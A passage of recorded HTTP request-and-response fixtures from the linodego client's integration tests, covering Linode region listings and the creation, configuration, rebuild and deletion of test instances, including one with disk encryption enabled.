172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:08:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-3bs1a456up9p","firewall_id":611256,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60783320, "label": "go-test-ins-wo-disk-3bs1a456up9p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.48.81"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1dbba5b43d08a78e7f678ea425b3887659b32008", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:08:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-o7w224bscw65","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783320/configs method: POST response: body: '{"id": 63991264, "label": "go-test-conf-o7w224bscw65", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:08:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":60783320,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 760090318, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 9.0, "action": "linode_create", "username": "ErikZilber", "entity": {"label": "go-test-ins-wo-disk-3bs1a456up9p", "id": 60783320, "type": "linode", "url": "/v4/linode/instances/60783320"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:09:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"image":"linode/alpine3.19","root_pass":"7EOk9fN7J\u003e]d''[?y,u5cS3be01MR\u003c|W~$5[d,z^C2?90MGd0y00Q)dSaL8MnOf.7","metadata":{"user_data":"Y29vbA=="},"type":"g6-standard-2"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783320/rebuild method: POST response: body: '{"id": 60783320, "label": "go-test-ins-wo-disk-3bs1a456up9p", "group": "", "status": "rebuilding", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["172.105.48.81"], "ipv6": "1234::5678/128", "image": "linode/alpine3.19", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1dbba5b43d08a78e7f678ea425b3887659b32008", "has_user_data": true, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "815" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:09:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783320 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:09:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_RebuildWithEncryption.yaml000066400000000000000000000524571474652371000343670ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-wo-disk-4b7z2w606uoj","firewall_id":37241,"disk_encryption":"enabled","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 25233676, "label": "go-test-ins-wo-disk-4b7z2w606uoj", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["143.42.181.225"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3ea139a93c92b6eda6fa3085f78d8cf2132a9234", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 